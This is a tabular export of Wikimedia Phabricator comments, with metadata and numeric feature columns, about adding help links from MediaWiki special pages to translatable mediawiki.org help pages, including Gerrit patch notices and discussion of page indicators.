Hiding with css would work, but not tested yet.",,,1425673270,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.7083333333333335,0.9583333333333334,"Switching order needs to be checked for each call in core.

Hiding with css would work, but not tested yet."
422345,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Or we can switch the order. Did you try CSS, though?",,,1425670025,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Or we can switch the order. Did you try CSS, though?"
422327,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","on de.wikipedia.beta.wmflabs.org we have changed the id, but it does not override it, see http://de.wikipedia.beta.wmflabs.org/wiki/Spezial:Verschieben/MediaWiki:Movepage-summary for the place where the wrong help link is shown and http://de.wikipedia.beta.wmflabs.org/wiki/MediaWiki:Movepage-summary for the message where the indicator is used.

This seems to be happen because OutputPage::setHelpLink is called later than SpecialPage::outputHeader and than override the indicator (""In case of duplicate keys, existing values are overwritten.""). OutputPage::setIndicators needs a explicit not-overwrite-option which than can be used from OutputPage::addHelpLink.",,,1425668089,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,4.0,2.0,6.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,8.0,7.0,9.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,6.0,12.0,3.0,0.0,2.0,0.0,6.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,4.911111111111111,0.7111111111111111,"on de.wikipedia.beta.wmflabs.org we have changed the id, but it does not override it, see URL for the place where the wrong help link is shown and URL for the message where the indicator is used.

This seems to be happen because OutputPage::setHelpLink is called later than SpecialPage::outputHeader and than override the indicator (""In case of duplicate keys, existing values are overwritten.""). OutputPage::setIndicators needs a explicit not-overwrite-option which than can be used from OutputPage::addHelpLink."
422321,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","> What about wikis already have such a help link in the UI like dewiki (see https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/MediaWiki:Specialpage-helplink&limit=500&hidelinks=1 for all usages)

They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.

> What about the local help pages like linked from https://www.wikidata.org/wiki/Q395887?
> Why hard linking to mw.org? There should be a way to allow the local community to override the target of the help page.

Local help pages are available on very few languages, but sure, customisation should be possible for wikis which care about it. Are the provided CSS class+id and the indicator system insufficient for customisation?",,,1425667651,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1.0,0.0,1.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,6.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.373134328358209,0.746268656716418,"QUOTE

They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.

QUOTE
QUOTE

Local help pages are available on very few languages, but sure, customisation should be possible for wikis which care about it. Are the provided CSS class+id and the indicator system insufficient for customisation?"
422320,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","> What about wikis already have such a help link in the UI like dewiki (see https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/MediaWiki:Specialpage-helplink&limit=500&hidelinks=1 for all usages)

They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.

> What about the local help pages like linked from https://www.wikidata.org/wiki/Q395887?
> Why hard linking to mw.org? There should be a way to allow the local community to override the target of the help page.

Local help pages are available on very few languages, but sure, customisation should be possible for wikis which care about it. Are the provided CSS classes and the indicator system insufficient for customisation?",,,1425667627,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1.0,0.0,1.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.358208955223881,0.746268656716418,"QUOTE

They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.

QUOTE
QUOTE

Local help pages are available on very few languages, but sure, customisation should be possible for wikis which care about it. Are the provided CSS classes and the indicator system insufficient for customisation?"
422312,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","> What about wikis already have such a help link in the UI like dewiki (see https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/MediaWiki:Specialpage-helplink&limit=500&hidelinks=1 for all usages)

They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.

> What about the local help pages like linked from https://www.wikidata.org/wiki/Q395887?
> Why hard linking to mw.org? There should be a way to allow the local community to override the target of the help page.

Local help pages are available on very few languages, but sure, customisation should be possible for wikis which cared about it. Are the provided CSS classes and the indicator system insufficient for customisation?",,,1425667449,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1.0,0.0,1.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,4.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.373134328358209,0.746268656716418,"QUOTE

They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.

QUOTE
QUOTE

Local help pages are available on very few languages, but sure, customisation should be possible for wikis which cared about it. Are the provided CSS classes and the indicator system insufficient for customisation?"
421154,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I told you there were many. ;-) Even more ambitious, various actions or special cases thereof:
* https://meta.wikimedia.org/wiki/Help:Diff
* https://meta.wikimedia.org/wiki/Help:Edit_conflict
* https://meta.wikimedia.org/wiki/Help:Image_page
* https://meta.wikimedia.org/wiki/Help:Preview
* https://meta.wikimedia.org/wiki/Help:Redirect
* https://meta.wikimedia.org/wiki/Help:View_source

Not sure how to split this conversation/epic. As long as it's just me talking with myself, one report and 3-4 patches probably suffice. ;-) But fixing or rewriting 15 help pages on something like half of a wiki's daily operation is unlikely to be one man's work, while being something we must to at some point.",,,1425514666,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1.5,2.0,0.0,0.0,0.5,4.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,3.5,0.0,5.5,8.5,2.0,1.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,10.0,0.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,6.0,1.5,3.5,2.5,0.0,1.5,0.0,0.0,1.5,0.0,4.5,0.0,4.5,8.5,2.5,0.0,0.0,0.0,4.5,0.0,0.5,1.0,2.0,3.0,0.5,0.0,0.0,3.452830188679245,0.7924528301886793,"I told you there were many. ;-) Even more ambitious, various actions or special cases thereof:
* URL
* URL
* URL
* URL
* URL
* URL

Not sure how to split this conversation/epic. As long as it's just me talking with myself, one report and 3-4 patches probably suffice. ;-) But fixing or rewriting 15 help pages on something like half of a wiki's daily operation is unlikely to be one man's work, while being something we must to at some point."
421149,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194418 had a related patch set uploaded (by Nemo bis):
Add link to Meta-Wiki help pages from several special pages

[[https://gerrit.wikimedia.org/r/194418]]
",,,1425513524,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.606060606060606,0.8787878787878788,"Change 194418 had a related patch set uploaded (by Nemo bis):
Add link to Meta-Wiki help pages from several special pages

[[GERRIT_URL]]
"
421133,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194414 had a related patch set uploaded (by Nemo bis):
Add help link to three rather important pages

[[https://gerrit.wikimedia.org/r/194414]]
",,,1425511854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.689655172413793,0.896551724137931,"Change 194414 had a related patch set uploaded (by Nemo bis):
Add help link to three rather important pages

[[GERRIT_URL]]
"
421121,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194411 had a related patch set uploaded (by Nemo bis):
Add help link to three other ""minor"" special pages

[[https://gerrit.wikimedia.org/r/194411]]
",,,1425510977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.46875,0.875,"Change 194411 had a related patch set uploaded (by Nemo bis):
Add help link to three other ""minor"" special pages

[[GERRIT_URL]]
"
420998,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I'm very happy. :) As for closure let's see: I'm considering many more possible targets for core, I'll send more patches.",,,1425501388,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,3.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,10.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.4827586206896552,0.7931034482758621,"I'm very happy. :) As for closure let's see: I'm considering many more possible targets for core, I'll send more patches."
420818,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Fixed by Nemo for a number of core special pages, which will now have a ""Help"" link in the page indicator area (https://www.mediawiki.org/wiki/Help:Page_status_indicators). The newly added `OutputPage::addHelpLink()` method can be used by extensions to provide identical functionality for their own special pages.",,,1425486074,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,13.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.085106382978723,0.8723404255319149,"Fixed by Nemo for a number of core special pages, which will now have a ""Help"" link in the page indicator area (URL The newly added CODE method can be used by extensions to provide identical functionality for their own special pages."
420810,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157497 merged by jenkins-bot:
Add top help link to MediaWiki.org in several pages via indicator

[[https://gerrit.wikimedia.org/r/157497]]",,,1425485755,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.9230769230769231,"Change 157497 merged by jenkins-bot:
Add top help link to MediaWiki.org in several pages via indicator

[[GERRIT_URL]]"
414729,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157497 had a related patch set uploaded (by Nemo bis):
Add top help link to MediaWiki.org in several pages via indicator

[[https://gerrit.wikimedia.org/r/157497]]

#patch-for-review",,,1424441232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,85,,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.736842105263158,0.868421052631579,"Change 157497 had a related patch set uploaded (by Nemo bis):
Add top help link to MediaWiki.org in several pages via indicator

[[GERRIT_URL]]

#patch-for-review"
336351,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157496 abandoned by Nemo bis:
Function to add a top (right) icon link to help page

Reason:
Superseded by indicators

[[https://gerrit.wikimedia.org/r/157496]]",,,1417711881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.588235294117647,0.7941176470588235,"Change 157496 abandoned by Nemo bis:
Function to add a top (right) icon link to help page

Reason:
Superseded by indicators

[[GERRIT_URL]]"
209770,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to Bartosz Dziewoński from comment #10)
> I did that as a note-to-self to implement this later. But okay.

That's appreciated, and it would be useful if bug 23796 had preserved its original bug summary (with its current summary split to some other bug), but as is it was very confusing.",,,1411574653,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,2.0,0.0,2.0,2.0,0.0,10.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,8.0,13.0,4.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8076923076923075,0.8269230769230769,"(In reply to Bartosz Dziewoński from comment #10)
QUOTE

That's appreciated, and it would be useful if bug 23796 had preserved its original bug summary (with its current summary split to some other bug), but as is it was very confusing."
209764,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",I did that as a note-to-self to implement this later. But okay.,,,1411574311,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.8333333333333334,I did that as a note-to-self to implement this later. But okay.
209759,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to Bartosz Dziewoński from comment #8)
> The implementation proposed by Nemo looks like it would benefit from having
> bug 23796 solved first, so I'm marking this as such.

With its current summary I see no relation whatsoever.",,,1411573973,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,16.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.04,0.92,"(In reply to Bartosz Dziewoński from comment #8)
QUOTE
QUOTE

With its current summary I see no relation whatsoever."
209753,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","The implementation proposed by Nemo looks like it would benefit from having bug 23796 solved first, so I'm marking this as such.",,,1411573690,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,16.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.28,1.0,"The implementation proposed by Nemo looks like it would benefit from having bug 23796 solved first, so I'm marking this as such."
209749,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157497 had a related patch set uploaded by Nemo bis:
Add top help link to MediaWiki.org in several pages

https://gerrit.wikimedia.org/r/157497",,,1409482959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,60,,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,"Change 157497 had a related patch set uploaded by Nemo bis:
Add top help link to MediaWiki.org in several pages

GERRIT_URL"
209745,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157496 had a related patch set uploaded by Nemo bis:
Function to add a top (right) icon link to help page

https://gerrit.wikimedia.org/r/157496",,,1409482951,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,60,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9285714285714286,"Change 157496 had a related patch set uploaded by Nemo bis:
Function to add a top (right) icon link to help page

GERRIT_URL"
209739,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","[[mw:Category:Help]] was made almost completely translatable (and usually revamped a bit in the process).

I count the following places which have a documentation page and don't link it: Special:Block, Special:MergeHistory, Special:MovePage, Special:NewPages, Special:NewImages, Special:Preferences, Special:Search, action=protect, Special:RecentChanges, action=delete, Special:AllMessages, Special:Undelete, Special:Watchlist; and in extensions, Special:MassMessage, Special:TemplateSandbox, Special:AbuseFilter.

